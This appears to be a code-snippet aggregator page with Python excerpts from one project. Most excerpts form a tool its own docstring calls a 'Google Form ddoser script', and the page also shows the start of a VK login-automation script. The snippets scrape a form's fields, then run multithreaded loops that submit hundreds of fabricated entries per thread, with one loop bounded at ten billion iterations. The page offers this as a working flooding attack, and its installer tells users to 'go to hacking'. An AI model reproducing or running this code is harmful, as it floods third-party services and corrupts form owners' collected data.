コード例 #1
0
def SetInput(a):
    resp = requests.get(a).text
    resp = resp[resp.find("var FB_PUBLIC_LOAD_DATA_ "):]
    resp = resp[:resp.find(',"/forms"')]

    LogManager.info('writing complete')

    open('dop.js', 'w', encoding="utf-8").write(
        "module.exports.Getter = function Getter() {\n" + resp + "]" +
        "\nreturn FB_PUBLIC_LOAD_DATA_;}")
コード例 #2
0
ファイル: main.py プロジェクト: SharapaGorg/TotalPractice
def Response(a, *args, **kwargs):

    if len(args) != 0:
        resp = requests.get(erase(args[0], 0))
    else:
        resp = requests.get(_link)
    if a == "headers":
        LogManager.info(resp.headers)
    elif a == "content":
        LogManager.info(resp.content)
コード例 #3
0
def start1():
    i = 123
    _ = list()

    for i in range(10):
        thr = threading.Thread(target=raid, args=[i], daemon=True)
        thr.start()
        _.append(thr)

    [t.join() for t in _]

    LogManager.warning("Raid log out")
コード例 #4
0
def SetLink(change: str, *args):
    try:
        testing_term = requests.get(change)
    except:
        LogManager.error("Invalid Link (На самом деле инвалид перед экраном)")
        sys.exit(0)

    f = open(__file__, "r", encoding="utf-8")

    regex = r"_link\s*\=\s*\'(.*)\'"

    current_file = f.read()
    f.close()
    r = re.search(regex, current_file).group(1)

    current_file = current_file.replace(r, change)

    f = open(__file__, "w", encoding="utf-8")
    f.write(current_file)
    f.close()

    LogManager.info("Link changed")
コード例 #5
0
def StatusCode(*args, **kwargs):
    if len(args) != 0:
        r = requests.get(erase(args[0], 0))
    else:
        r = requests.get(_link)

        if r.status_code == 200:
            status = "OK"
            LogManager.info(f"{r} === {status}")
        elif r.status_code == 405 or r.status_code == 404 or r.status_code == 429:
            status = responses[r.status_code]
            LogManager.warning(f"{r} === {status}")
        else:
            status = responses[r.status_code]
            LogManager.error(f"{r} === {status}")
コード例 #6
0
def raid(e: int):

    for i in range(250):

        RaidReqList = RaidComporator(jojo)

        r = requests.post(_link,
                          data=RaidReqList,
                          headers=headers,
                          proxies=None)

        if r.status_code == 200:
            status = "OK"
            LogManager.info(f"{r} === {e + 1} || {i + 1} === {status}")
        elif r.status_code == 405 or r.status_code == 404 or r.status_code == 429:
            status = responses[r.status_code]
            LogManager.warning(f"{r} === {e + 1} || {i + 1} === {status}")
        else:
            status = responses[r.status_code]
            LogManager.error(f"{r} === {e + 1} || {i + 1} === {status}")
コード例 #7
0
def starter(link, resp, raid, log, test, _input):
    """Google Form`s ddoser script`s help`s command:\\//"""

    # try:
    if link == "get":
        print(
            "______  __    ______        \n___  / / /_______  /_______\n__  /_/ /_  _ \_  /___  __ \"\n_  __  / /  __/  / __  /_/ /\n/_/ /_/  \___//_/  _  .___/ \n                   /_/      \n"
        )
        print(
            str(BeautifulSoup(requests.get(_link).text, "lxml").title).replace(
                "title", '').replace("<", '').replace(">", '').replace(
                    "/", "") + ' :')
        print(_link)
    if link == "set":
        print(
            "______  __    ______        \n___  / / /_______  /_______\n__  /_/ /_  _ \_  /___  __ \"\n_  __  / /  __/  / __  /_/ /\n/_/ /_/  \___//_/  _  .___/ \n                   /_/      \n"
        )
        SetLink(input(" Enter new raid link: "))

    if resp == "headers":
        Response("headers")
    if resp == "content":
        Response("content")
    if "content" in resp and len(resp) != 7:
        Response("content", resp[7:])
    if "headers" in resp and len(resp) != 7:
        Response("headers", resp[7:])
    if "status" in resp and len(resp) != 6:
        StatusCode(resp[6:])
    if "set_input" in resp and len(resp) != 9:
        SetInput(resp[10:])
    if resp == "get_input":
        GetInput()
    if resp == "set_input":
        SetInput(_link)
    if resp == "status":
        StatusCode()
    if log == "cls":
        with open("LogPython_info.log", "w") as log_file:
            log_file.write(" ")

        LogManager.info("Cleaning complete [+]")
    if log == "get":
        for i in LogManager.get_logs(int(
                input("Enter quantity of logs: ")))[0]:
            print(i, end="")
    if _input == "set":
        AnsSetter()
    if test == "jojo":
        LongChecker()
    if raid == 1:

        print(
            '\033[36m' +
            '          _____                    _____                    _____                    _____                    _____                    _____     _____  '
        )
        print(
            '         /\    \                  /\    \                  /\    \                  /\    \                  /\    \                  /\    \   /\    \ '
        )
        print(
            '        /::\____\                /::\    \                /::\    \                /::\    \                /::\    \                /::\____\ /::\____\''
        )
        print(
            '       /:::/    /                \:::\    \              /::::\    \              /::::\    \              /::::\    \              /:::/    //:::/    /'
        )
        print(
            '      /:::/    /                  \:::\    \            /::::::\    \            /::::::\    \            /::::::\    \            /:::/    //:::/    / '
        )
        print(
            '     /:::/    /                    \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /:::/\:::\    \          /:::/    //:::/    /  '
        )
        print(
            '    /:::/____/                      \:::\    \        /:::/  \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/    //:::/    /   '
        )
        print(
            '   /::::\    \                      /::::\    \      /:::/    \:::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/    //:::/    /    '
        )
        print(
            '  /::::::\    \   _____    ____    /::::::\    \    /:::/    / \:::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/    //:::/    /     '
        )
        print(
            ' /:::/\:::\    \ /\    \  /\   \  /:::/\:::\    \  /:::/    /   \:::\ ___\  /:::/\:::\   \:::\ ___\  /:::/\:::\   \:::\    \  /:::/    //:::/    /      '
        )
        print(
            '/:::/  \:::\    /::\____\/::\   \/:::/  \:::\____\/:::/____/     \:::|    |/:::/__\:::\   \:::|    |/:::/__\:::\   \:::\____\/:::/____//:::/____/       '
        )
        print(
            '\::/    \:::\  /:::/    /\:::\  /:::/    \::/    /\:::\    \     /:::|____|\:::\   \:::\  /:::|____|\:::\   \:::\   \::/    /\:::\    \\:::\    \       '
        )
        print(
            ' \/____/ \:::\/:::/    /  \:::\/:::/    / \/____/  \:::\    \   /:::/    /  \:::\   \:::\/:::/    /  \:::\   \:::\   \/____/  \:::\    \\:::\    \      '
        )
        print(
            '          \::::::/    /    \::::::/    /            \:::\    \ /:::/    /    \:::\   \::::::/    /    \:::\   \:::\    \       \:::\    \\:::\    \     '
        )
        print(
            '           \::::/    /      \::::/____/              \:::\    /:::/    /      \:::\   \::::/    /      \:::\   \:::\____\       \:::\    \\:::\    \    '
        )
        print(
            '           /:::/    /        \:::\    \               \:::\  /:::/    /        \:::\  /:::/    /        \:::\   \::/    /        \:::\    \\:::\    \   '
        )
        print(
            '          /:::/    /          \:::\    \               \:::\/:::/    /          \:::\/:::/    /          \:::\   \/____/          \:::\    \\:::\    \  '
        )
        print(
            '         /:::/    /            \:::\    \               \::::::/    /            \::::::/    /            \:::\    \               \:::\    \\:::\    \ '
        )
        print(
            '        /:::/    /              \:::\____\               \::::/    /              \::::/    /              \:::\____\               \:::\____\\:::\____\''
        )
        print(
            '        \::/    /                \::/    /                \::/____/                \::/____/                \::/    /                \::/    / \::/    /'
        )
        print(
            '         \/____/                  \/____/                  ~~                       ~~                       \/____/                  \/____/   \/____/ '
        )
        print(
            '                                                                                                                                                        '
        )

        start1()
コード例 #8
0
# -*- coding: utf-8 -*-

from json.decoder import JSONDecodeError
from re import I
import requests
import random
from ShG_rand import Identities

from LogPython import LogManager
from bs4 import BeautifulSoup
LogManager = LogManager()
import threading
import click

import os
import json
import re
import sys

from http.client import responses

print('Click Version: {}'.format(click.__version__))
print('Python Version: {} \n'.format(sys.version))

proxies = {"https": "https://85.14.243.31:3128"}

headers = {
    'User-Agent':
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4240.80 Safari/537.36 Edg/84.0.622.43'
}
コード例 #9
0
ファイル: main.py プロジェクト: SharapaGorg/TotalPractice
def raid(e: int):

    RaidReqList, i = RaidComporator(jojo, 1), 0

    r = requests.post(_link, data=RaidReqList, headers=headers, proxies=None)
    # print(RaidReqList)
    if r.status_code == 200:
        status = "OK"
        res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")

        for i in range(249):
            RaidReqList = RaidComporator(jojo, 1)

            r = requests.post(_link,
                              data=RaidReqList,
                              headers=headers,
                              proxies=None)

            if r.status_code == 200:
                status = "OK"
                res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
                LogManager.info(res)
            elif r.status_code == 405 or r.status_code == 404 or r.status_code == 429 or r.status_code == 400:
                status = responses[r.status_code]
                res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
                LogManager.warning(res)
            else:
                status = responses[r.status_code]
                res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
                LogManager.error(res)

    elif r.status_code == 405 or r.status_code == 404 or r.status_code == 429:
        status = responses[r.status_code]
        res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
        LogManager.info(res)
    elif r.status_code == 400:
        for i in range(10000000000):
            RaidReqList = RaidComporator(jojo, 0)

            r = requests.post(_link,
                              data=RaidReqList,
                              headers=headers,
                              proxies=None)

            if r.status_code == 200:
                status = "OK"
                res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
                LogManager.info(res)
            elif r.status_code == 405 or r.status_code == 404 or r.status_code == 429 or r.status_code == 400:
                status = responses[r.status_code]
                res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
                LogManager.info(res)
            else:
                status = responses[r.status_code]
                res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
                LogManager.info(res)

    else:
        status = responses[r.status_code]
        res = f"{r} === {e + 1} || {i + 1}     {status}".rjust(35, "<")
        LogManager.info(res)
コード例 #10
0
import os
import sys

from LogPython import LogManager

LogManager = LogManager()


def run_python_tool(command):
    os.system('cd \"' + os.path.dirname(sys.executable) + '\" && ' +
              os.path.basename(sys.executable) + ' -m ' + command)


run_python_tool("pip install --upgrade pip")
run_python_tool('pip install click bs4 requests --user')

LogManager.info("Successfully installed => go to hacking :)")
コード例 #11
0
ファイル: vk_st.py プロジェクト: SharapaGorg/TotalPractice
import re
import requests
from lxml import html
from LogPython import LogManager
LogManager = LogManager()
from bs4 import BeautifulSoup
from config import settings
import vk_api

_session = vk_api.VkApi(login=settings['email'], password=settings['password'])

headers = {
    'User-Agent':
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 Edg/86.0.622.43',
    'Accept':
    'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Language': 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive',
    # 'DNT':'1',
    'Sec-Fetch-Site': 'same-site',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '******',
    'Sec-Fetch-Dest': 'iframe',
    'Referer': 'https://vk.com/',
    'Upgrade-Insecure-Requests': '1',
    'Cache-Control': 'max-age=0'
}
###########################################################
session = requests.Session()
url = 'https://login.vk.com/?act=login'